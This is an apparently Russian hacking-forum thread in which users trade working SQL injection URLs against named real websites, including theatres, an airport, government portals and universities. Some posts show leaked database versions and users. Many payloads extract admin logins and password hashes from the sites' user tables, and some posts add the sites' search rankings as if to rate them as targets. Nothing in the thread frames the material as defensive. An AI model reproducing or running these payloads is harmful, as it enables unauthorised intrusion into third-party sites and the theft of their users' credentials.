SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    http://www.prodnepr.dp.ua/theatres.php3?theatres=-1663+union+all+select+1,2,concat_ws(0x3a,@@version,user(),database(),@@version_compile_os),4,5,6,7,8,9,10,11+--

    version : 5.0.77
    user : prodp@localhost
    database : topmanager7_prodneprdp
    os : redhat-linux-gnu
     
    1 person likes this.
  2. CyberHunter

    CyberHunter Active Member

    Joined:
    6 Jan 2010
    Messages:
    601
    Likes Received:
    116
    Reputations:
    37
    Code:
    http://www.nolimitsafc.com/main/index.php?option=com_gcalendar&view=event&eventID=peler&start=memek&end=kentu&gcid=2+AND+1=2+UNION+SELECT+0,concat%28user(),version(),database()%29,2,3,4+from+jos_users--
    Version: 5.1.47-community-log
    User: nolimit5_main@localhost
    Database: nolimit5_main
    PR: 2
     
    2 people like this.
  3. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.nationalintegrationmovement.org/eng/index2.php?id=nim-diskusi-eng/nim-diskusi-engDetail&nim-diskusi-engid=-379+union+select+1,2,3,4,5,concat(username,char(58),password),7,8,9,10,11,12,13,14,15,16+from+admin
     
    _________________________
    2 people like this.
  4. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    Code:
    http://ishodniki.ru/art/print.php?cat=&id=-779+union+select+1,2,3,4,group_concat(concat_ws(0x3a,id_member,member_name,id_group,passwd,password_salt)),6,7,8,9,10,11,12,13,14,15+from+u51903_forum.smf_members+where+id_group=1+--+&show=net
     
    3 people like this.
  5. manerus

    manerus New Member

    Joined:
    10 Aug 2009
    Messages:
    27
    Likes Received:
    2
    Reputations:
    1
    Code:
    http://www.thewalkingstick.de/popups/life.php?id=-1+union+select+1,concat(user(),database(),version()),3,4,5,6,7,8+from+information_schema.tables--
    web237@localhost
    usr_web237_15.0.51
    5.0.51a-24+lenny3-log
     
  6. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    Свердловский Академический Театр Драмы

    Code:
    http://www.uraldrama.ru/press.php?id=-101+and+1=2+union+select+1,2,3,4,concat_ws(0x3a,@@version,user(),database(),@@version_compile_os),6+--
    version : 5.0.88
    user : uraldramaru@localhost
    database : uraldramaru
    os : portbld-freebsd8.0
     
  7. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    аэропорт ТОМСК

    Code:
    http://tomskairport.ru/news/?id=-112+and+1=2+union+select+1,2,concat_ws(char(58),@@version,user(),database(),@@version_compile_os),4,5,6,7,8,9,10,11+--
    version : 5.0.51a-24+lenny3
    user : airport@localhost
    database : airport
    os : debian-linux-gnu
     
    2 people like this.
  8. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    Сайт первого в СНГ фан-клуба AS Roma

    Code:
    http://as-roma.ru/showtext.php?mode=fanclub&textid=-fanclub3'+union+select+1,2,3,4,concat_ws(0x3a,version(),user(),database()),6,7,8,9,10+and+'1'='1
     
  9. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    vu.edu.au

    http://jipam.vu.edu.au/article.php?sid=1151+and+1=0+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14

    PR-7
     
    _________________________
    1 person likes this.
  10. FAQ666

    FAQ666 Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    38
    Likes Received:
    18
    Reputations:
    8
    Яндекс тИЦ (CY) 1000
    Google PageRank (PR) 5

    Code:
    http://tp.tatcenter.ru/goods-information.php?&gid=344646+union+select+1,concat_ws(0x3a,login,password,permissions),3,4+from+admins+--+a
    Code:
    http://tp.tatcenter.ru/goods-information.php&gid=344646+union+select+1,group_concat(table_name),3,4+from+information_schema.columns+where+column_name+like+0x2570617325+--+a
    админка:
    Code:
    http://tp.tatcenter.ru/admin/
    если покопаться то можно вытащить пасы от админок с других поддоменов. . . .
     
    #12310 FAQ666, 17 Jun 2010
    Last edited: 17 Jun 2010
    4 people like this.
  11. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.latakia-city.gov.sy/index.php?p_name=news_item_view&id=-29+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(username,char(58),password),12+from+admins
     
    _________________________
    3 people like this.
  12. life_glider

    life_glider Member

    Joined:
    13 Apr 2010
    Messages:
    42
    Likes Received:
    25
    Reputations:
    33
    http://www.veroint.com/products.php?page_id=-1%20union%20select%201,2,3,group_concat(table_name)%20from%20information_schema.tables%20where%20TABLE_ROWS%3E0
     
    1 person likes this.
  13. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    Code:
    http://www.hipertin.ru/index.php?id=-172+and+1=2+union+select+1,concat_ws(0x3a,@@version,database(),user(),@@version_compile_os),3--
    version : 4.0.27-log
    user : [email protected]
    database : hipertin
    os : i86pc-solaris2.9
     
    3 people like this.
  14. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,258
    Reputations:
    274
    http://www.store-apple.ru/catalog.htm?product_id=10+UNION+SELECT+1,2,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19

    Database Version: 5.0.90-community
    Database name: itbala_iphonezakaz
    User name: itbala_alex@localhost
    Os:unknown-linux-gnu
     
    6 people like this.
  15. FAQ666

    FAQ666 Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    38
    Likes Received:
    18
    Reputations:
    8
    Яндекс тИЦ (CY) 425
    Google PageRank (PR) 5
    Посещалка - 11к

    Code:
    http://www.fashionbank.ru/models/user/-1330'+union+select+group_concat(table_name,':',table_schema,';'),2,3,database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85+from+information_schema.columns+where+column_name+like+0x2570617325+--+a.html
    Code:
    http://www.fashionbank.ru/models/user/-1330'+union+select+concat_ws(0x3a,login,password),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85+from+stat.cns_users+--+a.html
     
    #12315 FAQ666, 17 Jun 2010
    Last edited by a moderator: 17 Jun 2010
    2 people like this.
  16. rbul

    rbul Member

    Joined:
    19 May 2010
    Messages:
    10
    Likes Received:
    8
    Reputations:
    1
    PR 8


    Code:
    http://www.poseidon.hcmr.gr/listview.php?id=-18+union+select+concat%28username,0x3a,password%29+from+ecsusers+limit+0,1%20--
    
    5.0.77
    [email protected]
    project_poseidon
     
    1 person likes this.
  17. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,258
    Reputations:
    274
    Портал русскоязычной группы пользователей Sybase

    http://www.rusug.ru/index.php?tree=8&mode=view&id=-7+union+select+concat_ws(0x3a,version(),database(),user(),@@version_compile_os),2,3,4,5,6/*

    5.0.26-log:ikarhomcen_rusug:ikarhomcen_rusug@localhost:pc-linux-gnu
     
  18. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    http://www.ttparliament.org/publications.php?mid=-1)+or(1,1)=(select+count(0),concat((select+database()+from+cms_menus_configs+limit+0,1),floor(rand(0)*2))from(cms_menus_configs)group+by+2)--+
     
    1 person likes this.
  19. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    lefuretscience.fr пр2
    Code:
    http://lefuretscience.fr/video.php?num=-701+uNIon+sELEct+1,2,3,4,5,6,7,8,9,10,concat_ws(0x3a3a,groupval,pwd,name,mail)+from+ntux2_users+--+
    scopeconcept.fr пр2
    Code:
    http://www.scopeconcept.fr/blog/eros/vision/modif.php?id=-1260+union+select+1,2,3,group_concat(table_name),5,6,7,8+from+information_schema.tables+--+
    briefkasten-finden.de пр2
    Code:
    http://briefkasten-finden.de/briefkasten.php?briefkasten_id=-134+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+information_schema.tables+--+
    sitecgroup.com пр4
    Code:
    http://sitecgroup.com/vacancies/vacancy_search.php?recID=-1508+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+--+
    btsati.org пр3
    Code:
    http://www.btsati.org/Ancien/fiche_entreprise.php?entreprise=-83+union+select+concat_ws(0x3a3a,login,pwd),2,3,4,5,6,7,8,9,10,11,12,13,14,15+from+admin+--+
    koelner-gastronacht.de пр2
    Code:
    http://www.koelner-gastronacht.de/liste.php?id=-5+union+select+1+--+
    francknet.net
    Code:
    http://www.francknet.net/details.php?recnum=-1069'+union+select+1,2,3,4,5,group_concat(table_name)+from+information_schema.tables+--+&num_cd=99
    jardin-aromes.com пр2
    Code:
    http://www.jardin-aromes.com/actu.php?id_art=-26+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+--+
    snoci-charpente-vendee.fr пр2
    Code:
    http://www.snoci-charpente-vendee.fr/actu/index.php?id_art=-12+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14+from+information_schema.tables+--+
    cancheauthietourisme.com пр3
    Code:
    http://cancheauthietourisme.com/liste.php?categorie=-1+union+select+1,2,3+from+information_schema.tables+--+
    deutz-teilemarkt.de пр1
    Code:
    http://www.deutz-teilemarkt.de/liste.php?art=angebot&kat=2&unterkat=-9+union+select+1,2,3,4,id,6,7,8,9,10,11,12,13,14,15,16,17,18+from+user+--+
    triathlon-service.de пр3
    Code:
    http://www.triathlon-service.de/ergebnisse/liste.php?nr=-2361+union+select+1,2,3,4,concat_Ws(0x3a3a,nr,email,name,pw),6+from+user+--+
    si.loin.si.proche.free.fr пр1
    Code:
    http://si.loin.si.proche.free.fr/journal.php?gstrLangue=fr&IdSkin=_2010&id_modal=2+union+select+1,2,user(),4,5,6,7,8,9,10,11,12,13,14,15+--+
    batali.fr
    Code:
    http://batali.fr/journal.php?num=-9+union+select+1,2,3,4,5,6,7,8+--+
    sainte-menehould.fr пр4
    Code:
    http://www.sainte-menehould.fr/demo.php?frame_c=-48'+union+select+concat_ws(0x3a3a,g_id,g_userName,g_fullName,g_hashedPassword,g_email)+from+g2_User+limit+1,1+--+&parent=2
    fin-audit.ru пр3 тиц40
    Code:
    http://www.fin-audit.ru/pub.php?id=-9'+union+select+1,2,3,4,5,6+--+&limit=0'
    apb.thecomplex.com
    Code:
    http://apb.thecomplex.com/view_group.php?id=-9+union+select+1,2,3,4,5,6,7,8+union+select+1,2,3,4,5,6,7,8+--+
    cyrillignac.com пр3
    Code:
    http://www.cyrillignac.com/cuisine/recettes_detail.php?id=-11+union+select+1,table_name,3,4,5,6,7,8,9+from+information_schema.tables+--+
    academiatribus.com
    Code:
    http://www.academiatribus.com/popfoto.php?CodFoto=-111+union+select+user(),2+--+
    cafepuertorico.com пр3
    Code:
    http://www.cafepuertorico.com/popfoto.php?id=17+union+select+1,2,3,group_concat(table_name)+from+information_schema.tables+--+&eleccion=1
    easynudes.com AlexRang 76753
    Code:
    http://www.easynudes.com/videos/player2.php?id=-41179+union+select+1,concat_ws(0x3a3a,id,username,password),3,4,5,6+from+tps_users+--+&from=c
     
    3 people like this.
  20. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    ТЕАТР.DOC

    http://www.teatrdoc.ru/plays.php?id=-42+union+select+1,2,concat_ws(char(58),@@version,user(),database(),@@version_compile_os),4,5+--

    version : 5.1.41-log
    user : [email protected]
    database : kinoteatr_td
    os : portbld-freebsd7.2

    http://www.teatrdoc.ru/plays.php?id=-42+union+select+1,2,group_concat(login,0x3a,password+SEPARATOR+0x0b),4,5+from+kt_users--
     
Thread Status:
Not open for further replies.